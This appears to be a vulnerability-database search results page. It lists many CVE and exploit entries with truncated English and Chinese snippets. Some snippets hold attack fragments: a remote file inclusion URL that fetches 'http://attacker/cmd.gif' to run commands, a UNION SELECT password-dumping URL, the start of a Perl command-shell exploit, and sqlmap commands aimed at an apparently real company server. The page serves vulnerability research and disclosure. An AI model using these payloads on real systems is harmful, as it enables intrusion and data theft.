56796 matches found
Network Time Protocol Ephemeral Association Time Spoofing Vulnerability(CVE-2016-1549)
SUMMARY ntpd is vulnerable to Sybil attacks. A malicious authenticated peer can create arbitrarily-many ephemeral associations in order to win ntpd's clock selection algorithm and modify a victim's clock. TESTED VERSIONS NTP 4.2.8p3 NTP 4.2.8p4 NTPsec 3e160db8dc248a0bcb053b56a80167dc742d2b74 NTPs...
Foscam IP Video Camera CGIProxy.fcgi SMTP Test Host Parameter Configuration Command Injection Vulnerability(CVE-2017-2841)
Summary An exploitable command injection vulnerability exists in the web management interface used by the Foscam C1 Indoor HD Camera running application firmware 2.52.2.37. A specially crafted HTTP request can allow for a user to inject arbitrary data in the "msmtprc" configuration file resulting...
finecmsV5.0.8 \finecms\dayrui\controllers\Api.php getshell
Vulnerability in the C:\phpStudy\WWW\finecms\dayrui\controllers\Api. in php data2 function, approximately in the line 115, the problematic code about 178 rows public function data2 $data = array; // Route authentication if defined'SYSREFERER' && strlenSYSREFERER $http = $SERVER'HTTPREFERER' ?...
用友软件企业门户xxe漏洞[测试前用友官域]
简要描述： 用友自带技能。 详细说明： 漏洞描述： 测试的时候发现使用yongyou nc的目录下有uapws/目录。百度百科。 打开后。自带登录模式，密码直接给你准备好了，登录就行了。好有爱。 找个接口，先提交请求。然后进行format the response（在这里抓包） xxe漏洞 漏洞证明： 高清无码 https://images.seebug.org/upload/201509/301834010d7b0d90e830d78290493a8fee...
YXcms伪造cookie绕过验证任一用户登录
简要描述： 源代码中有对cookie的加解密函数，可以伪造cookie，而且程序使用cookie进行权限验证，可以实现任一用户登录。 详细说明： Protected/apps/members/controller/indexController.php public function login if!$this-isPost//不使用post时 $cookieauth=getcookie'auth';//此时直接从cookie中获取认证信息，我们跟进getcookie函数看能否伪造cookie绕过认证 if!empty$this-auth...
FreeBSD OpenSSH 3.5p1 - Remote Root Exploit
No description provided by source. OpenSSH 3.5p1 Remote Root Exploit for FreeBSD Discovered and Exploited By Kingcope Year 2011 -- The last two days I have been investigating a vulnerability in OpenSSH affecting at least FreeBSD 4.9 and 4.11. These FreeBSD versions run OpenSSH 3.5p1 in the defaul...
Adobe Flash Player "Button" Remote Code Execution
No description provided by source. $Id: adobeflashplayerbutton.rb 10857 2010-11-01 22:34:13Z jduck $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and...
Serv-U FTP服务器TEA解码栈溢出漏洞
BUGTRAQ ID: 37051 Serv-U FTP是一款FTP服务程序。 Serv-U FTP服务器中使用TEA解码算法处理字符串的16进制表示的函数中存在栈溢出漏洞，远程攻击者可以通过提交超长字符串来触发这个溢出，导致执行任意代码。 RhinoSoft Serv-U 9.0.0.5 厂商补丁： RhinoSoft --------- 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载： http://www.serv-u.com/...
PHPRaid RSS.PHP远程文件包含漏洞
!/usr/bin/perl phpraid cmd shell example: Exploit : http://www.example.com/phpRaidpath/rss.php?phpraiddir=Evil-script? use LWP::UserAgent; $Path = $ARGV0; $Pathtocmd = $ARGV1; $cmdv = $ARGV2; if$Path!/http:/// || $Pathtocmd!/http:/// || !$cmdvusage head; while print "shell $"; while $cmd=$;...
MamboWiki Component MamboLogin.PHP远程文件包含漏洞
MamboWiki是一款基于Mambo的WIKI程序。 MamboWiki不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是'MamboLogin.PHP'脚本对用户提交的WEB参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。 MamboXChange MamboWiki 0.9.4 暂无 http://www.example.com/sitepath/joomlapath/components/commambowiki/MamboLogin.php?IP=http://www.example.com...
Apache < 1.3.37 2.0.59 2.2.3 (mod_rewrite) Remote Overflow PoC
No description provided by source. !/bin/sh Exploit for Apache modrewrite off-by-one. Vulnerability discovered by Mark Dowd. CVE-2006-3747 by jack jack\x40gulcas\x2Eorg 2006-08-20 Thx to xuso for help me with the shellcode. I suppose that you've the "RewriteRule kung/. $1" rule if not you must...
UBB Threads 6.4.x-6.5.2 (thispath) Remote File Inclusion Vulnerability
No description provided by source. Anomaly 1n The System presents UBB.threads = 6.4.x Remote File Inclusion founded by V4mu in 04/20/2006 URL: http://www.ubbcentral.com Google dork: allinurl:"/ubbthreads/" exploit: /addpostnewpoll.php?addpoll=preview&thispath=http://attacker/cmd.gif?&cmd=id...
Joomla <=3.9.24 管理员权限命令执行(CVE-2021-23132、CVE-2020-24597)
https://github.com/HoangKien1020/CVE-2021-23132...
Python 'Lib/webbrowser.py' Remote Command Execution Vulnerability(CVE-2017-17522)
Description Lib/webbrowser.py in Python through 3.6.3 does not validate strings before launching the program specified by the BROWSER environment variable, which might allow remote attackers to conduct argument-injection attacks via a crafted URL. Vulnerable: Python Software Foundation Python 3.6...
Linux Kernel 4.14.0-rc4+ - 'waitid()' Privilege Escalation(CVE-2017-5123)
This is a guest post by a young and talented Portuguese exploiter, Federico Bento. He won this year’s Pwnie for Epic Achievement exploiting TIOCSTI ioctl. Days ago he posted a video demonstrating an exploit for CVE-2017-5123 and luckly for you I managed to convince him to do a write-up about it. ...
Git Shell Bypass By Abusing Less (CVE-2017-8386)
The git-shell is a restricted shell maintained by the git developers and is meant to be used as the upstream peer in a git remote session over a ssh tunnel. The basic idea behind this shell is to restrict the allowed commands in a ssh session to the ones required by git which are as follows:...
蝉知CMS注入漏洞官网演示
简要描述： 蝉知CMS注入漏洞一枚，官网演示 详细说明： 1.蝉知的整体防注入还是真心做得很不错的，看了很久，都没找到什么可以利用的点。但是人无完人，程序员也总有疏忽的时候，这个时候，终于被我发现了。首先定位到漏洞system/module/message/model.php文件。 public function getByObject$type, $objectType, $objectID, $pager = null $userMessages = $this-cookie-cmts; $userMessages = trim$userMessages, ',';...
ISPConfig <= 3.0.5.4p7 monitor/show_sys_state.php SQL注入漏洞
因为不完整地过滤导致了SQL注入, 通过HTTP GET方式传递的server参数给了 /monitor/showsysstate.php页面攻击者可以传入任意恶意SQL命令并在数据库中执行该漏洞的成功的利用可以让攻击者获得数据库的读写权限甚至危机整个web应用但是该漏洞此时仍然是一个鸡肋漏洞, 因为攻击者要进行此攻击必须是认证通过的用户而且还需要有monitor权限然而, 结合CSRF Cross-Site Request Forgery in ISPConfig:...
AKCMS 6.0 /akcms/login.php 登录绕过漏洞
该漏洞的问题出现在login.php中，由于编码采用GBK，而对$postusername变量没有进行严格的过滤和转义，导致可以绕过SQL防护，实现注入，下面针对此漏洞进行详细分析。 首先在login.php中第4行 ifisset$postloginsubmit if$editor = $db-getby'', 'admins', "editor='".$db-addslashes$postusername."'" ifakmd5$postpassword, 0, 2 == $editor'password' if$editor'freeze' == 1...
用友FE办公平台通用SQL注入（2个）
简要描述： 用友FE办公平台通用SQL注入（2个） 详细说明： SQL注入1 漏洞文件及参数 /witapprovemanage/report/depReimburse.jsp?depid=1 漏洞证明： sqlmap.py -u "http://oa.shunhengli.com:9090/witapprovemanage/report/depReimburse.jsp?depid=1" sqlmap.py -u "http://oa.shunhengli.com:9090/witapprovemanage/report/depReimburse.jsp?depid=1" --dbs...
Subdreamer 3.0.1 - CMS upload Vulnerability
No description provided by source. ======================================================================================== | Title : Subdreamer.v3.0.1 cms upload Vulnerability | Author : indoushka | email : [email protected] | Home : www.h4kz.com | Web Site : | Dork : Website powered by...
Adobe ColdFusion 验证绕过漏洞(CVE-2013-0625)
CVE ID:CVE-2013-0625 Adobe ColdFusion是一款高效的网络应用服务器开发环境 Windows, Macintosh和UNIX下的Adobe ColdFusion存在一个安全漏洞，允许未授权用户远程绕过验证控制，控制受影响的服务器。 此漏洞仅影响没有启用密码保护或没有设置密码的ColdFusion客户 0 Adobe ColdFusion 10 Adobe ColdFusion 9.0.2 Adobe ColdFusion 9.0.1 Adobe ColdFusion 9.0 厂商解决方案...
Spring Framework class.classLoader类远程代码执行漏洞
BUGTRAQ ID: 40954 CVE ID: CVE-2010-1622 Spring是一个广泛部署的开源架构，帮助开发人员构建高质量的应用。 Spring框架提供了允许使用客户端所提供的数据来更新对象属性的机制，而该机制允许攻击者修改用于通过class.classloader加载对象的类加载器的属性，这可能导致执行任意命令。例如，攻击者可以将类加载器所使用的URL修改到受控的位置。 0 SpringSource Spring Framework 3.0.0 - 3.0.2 SpringSource Spring Framework 2.5.0 - 2.5.7 厂商补丁：...
Linux Kernel审计系统audit_syscall_entry()系统调用绕过安全限制漏洞
BUGTRAQ ID: 33951 Linux Kernel是开放源码操作系统Linux所使用的内核。 Syscall过滤技术通常基于由编号确定的syscall或具体参数来确认是否允许执行调用。在通过编号确定syscall时，64位Linux内核（x8664）上syscall编号可能既映射到32位又映射到64位的syscall表，而这两种syscall表是不同的。由于用户空间进程是由 syscall表控制的，因此可以绕过syscall编号检查，执行非授权操作。 例如，syscall过滤技术可能在监控64位进程，且配置为允许常见的open syscall的子集，在64位平台上为syscal...
Windows Server服务RPC请求缓冲区溢出漏洞（MS08-067）
BUGTRAQ ID: 31874 CVECAN ID: CVE-2008-4250 Microsoft Windows是微软发布的非常流行的操作系统。 Windows的Server服务在处理特制RPC请求时存在缓冲区溢出漏洞，远程攻击者可以通过发送恶意的RPC请求触发这个溢出，导致完全入侵用户系统，以SYSTEM权限执行任意指令。 对于Windows 2000、XP和Server 2003，无需认证便可以利用这个漏洞；对于Windows Vista和Server 2008，可能需要进行认证。...
RicarGBooK 1.2.1 (header.php lang) Local File Inclusion Vulnerability
No description provided by source. -=-=-=-=-=-=-=-=-=-=-=-=-=I=R=A=N=-=-=-=-=-=-=-=-=-=-=-=-=-=- RicarGBooK 1.2.1 -=-=-=-=-=-=-=-=-=-=-=-=D=J=7=X=P=L=-=-=-=-=-=-=-=-=-=-=-=-=- -=-=-=-=-=-=-=-=-=-=-=-=-=I=R=A=N=-=-=-=-=-=-=-=-=-=-=-=-=-=- Author : Dj7xpl / Dj7xplatYahoodotcom Type : Local File...
MS Frontpage Server Extensions fp30reg.dll Exploit (MS03-051)
漏洞描述：Microsoft FrontPage服务器扩展是Microsoft公司开发的用于加强IIS Web服务器的功能的软件包。Microsoft FrontPage Server Extensions存在两个新的安全漏洞，可导致远程攻击者可以利用这个漏洞进行缓冲区溢出攻击，可能以FrontPage进程权限在系统上执行任意指令。 第一个漏洞是由于FrontPage服务扩展的远程调试功能上存在缓冲区溢出，这个功能用于用户远程连接FrontPage服务扩展的服务器和远程调试内容使用，如Visual...
Apache Solr SSRF漏洞 (CVE-2021-27905)
...
Apache Druid远程代码执行漏洞（CVE-2021-26919）
...
Mozilla Firefox Use-After-Free（CVE-2016-9899）
No description provided by source. -- body background-color:lime; font-color:red; ; / Mozilla Firefox 50.1.0 Use-After-Free POC Author: Marcin Ressel Date: 13.01.2017 Vendor Homepage: www.mozilla.org Software Link: https://ftp.mozilla.org/pub/firefox/releases/50.0.2/ Version: 50.1.0 Tested on:...
SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)
DESCRIPTION ------------------------- SwiftMailer class uses PHP mail function as its default transport. SwiftMailer suffers from the same vulnerability as the one disclosed in PHPMailer in the advisory at:...
用友致远A6协同管理系统 downloadAtt.jsp SQL注射
用友致远A6协同管理系统：面向广大的企事业组织应用设计，是一个基于互联网的高效协同工作平台和优秀的协同管理系统。它融入先进的协同管理理念，运用领先的网络技术，切实有效的解决企事业组织工作管理中的关键应用。利用它可把日常管理中的业务、事务、事件等信息在单位、部门、组群、个人之间进行及时高效、有序可控、全程共享的沟通和处理。是一套非常适合国情的、并具有很高性价比的软件。 漏洞描述： 用友致远A6协同管理系统对downloadAtt.jsp中的变量attachids过滤不严，导致用户可执行任意sql语句。...
TP-Link NC200/NC220 无线网络云摄像头硬编码漏洞
TP-Link NC200/NC220 Cloud Camera 300Mbps Wi-Fi Hard-Coded Credentials Vendor: TP-LINK Technologies Co., Ltd. Product web page: http://www.tp-link.us Affected version: NC220 V1 1.0.28 Build 150629 Rel.22346 NC200 V1 2.0.15 Build 150701 Rel.20962 Summary: Designed with simplicity in mind, TP-LINK's...
phpMyAdmin 3.5.8 and 4.0.0-RC2 - Multiple Vulnerabilities
No description provided by source. waraxe-2013-SA103 - Multiple Vulnerabilities in phpMyAdmin =============================================================================== Author: Janek Vind waraxe Date: 25. April 2013 Location: Estonia, Tartu Web: http://www.waraxe.us/advisory-103.html...
phpWebSite <= 0.10.0-full (topics.php) Remote SQL Injection Exploit
No description provided by source. !/usr/bin/perl advisory sent in by SnIpErSA selfar2002athotmail.com http://www.target.com/topics.php?op=viewtopic&topic=-1%20Union%20select%20name,name,pass,name%20From%20users%20where%20uid=1 ported by str0ke milw0rm.com from x97Rangs code RST/GHC...
Java AtomicReferenceArray Type Violation Vulnerability
No description provided by source. This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ require 'msf/core'...
MediaWiki Thumb.php - Remote Command Execution
No description provided by source. This module requires Metasploit: http//metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework require 'msf/core' class Metasploit3 Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def...
Postfix <= 2.6-20080814 - (symlink) Local Privilege Escalation Exploit
No description provided by source. !/bin/sh rspocfix.sh PoC for Postfix local root vulnerability: CVE-2008-2936 by Roman Medina-Heigl Hernandez a.k.a. RoMaNSoFt [email protected] Tested: Ubuntu / Debian Madrid, 30.Aug.2008 Config writabledir=/tmp spooldir=/var/mail Use postconf mailspooldirectory...
Microsoft IIS FTP Server <= 7.0 Stack Exhaustion DoS [MS09-053]
No description provided by source. Exploit Title: MS09-053 Microsoft IIS FTP Server = 7.0 Stack Exhaustion DoS Date: Jul 03, 2011 Author: Myo Soe YGN Ethical Hacker Group - http://yehg.net/ Software Link: http://www.microsoft.com/ Version: 5.0 - 7.0 Tested on: unpatched version of windows xp & 2k...
libzip 0.9.3 _zip_name_locate空指针引用(incl PHP 5.3.5)
CVE ID: CVE-2011-0421 libzip是读取、创建和修改zip文档的库。 libzip 0.9.3 zipnamelocate在实现上存在空指针引用漏洞，远程攻击者可利用此漏洞进行拒绝服务。 设置ZIPFLUNCHANGED标签后，libzip可使远程和本地攻击者进行拒绝服务攻击。对于空zip文件和ZIPFLUNCHANGED旗标，libzip会发生崩溃。目前对于PHP，安全影响只是远程拒绝服务。 PHP PHP 5.3.5 libzip libzip 0.9.3 厂商补丁： libzip ------...
Mambo Component SimpleBoard <= 1.0.1 Arbitrary File Upload Exploit
No description provided by source. !/usr/bin/perl use warnings; use strict; use LWP::UserAgent; use HTTP::Request::Common; my $fname = rand99999 . ".php"; no int print INTRO; - SimpleBoard Mambo Component = 1.0.1 - - Remote Arbitrary File Upload Exploit - Discovered && Coded by: t0pP8uZz Discover...
Creative Guestbook 1.0 Multiple Remote Vulnerabilities
No description provided by source. .-""""""""-. / Dj7xpl  ...
IBM AIX邮件服务绕过认证漏洞
IBM AIX是一款商业性质的UNIX操作系统。 AIX的各种邮件服务（pop3d、pop3ds、imapd和imapds）在认证过程中存在漏洞，在某些环境下可能允许本应拒绝的服务通过认证，这样攻击者就可以获得非授权访问。 IBM AIX 5.3 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载： ftp://aix.software.ibm.com/aix/efixes/security/pop3difix.tar.Z...
PHPGiggle 12.08 (CFG_PHPGIGGLE_ROOT) File Include Vulnerability
No description provided by source. Title : Php Giggle = 12.08 Remote File Include Vulnerability Author : ajann Vuln; File startup.php /File Code,1 startup.php Error: .. .... include$CFGPHPGIGGLEROOT . $CFGMODULEROOT . "/kernel/system/modregistry.inc.php"; include$CFGPHPGIGGLEROOT . $CFGMODULEROOT...
Jellyfin 任意文件读取漏洞（CVE-2021-21402）
GHSL-2021-050: Unauthenticated abritrary file read in Jellyfin - CVE-2021-21402 Jaroslav Lobacevski Coordinated Disclosure Timeline - 2021-03-19: Issue reported to maintainers. - 2021-03-22: Version 10.7.1 with fixes was released. Summary Jellyfin allows unauthenticated arbitrary file read. Produ...
AfterLogic 多个安全漏洞（CVE-2021-26292 CVE-2021-26293 CVE-2021-26294）
CVE-2021-26292 - Public Full Path Disclosure on AfterLogic Aurora & WebMail Pro WebDAV EndPoint The severity of the issue: Medium Complexity: Easy Affected Products: AfterLogic Aurora, AfterLogic WebMail PRO Authentication: Not required Attacks: Full Path Disclosure Resources : -...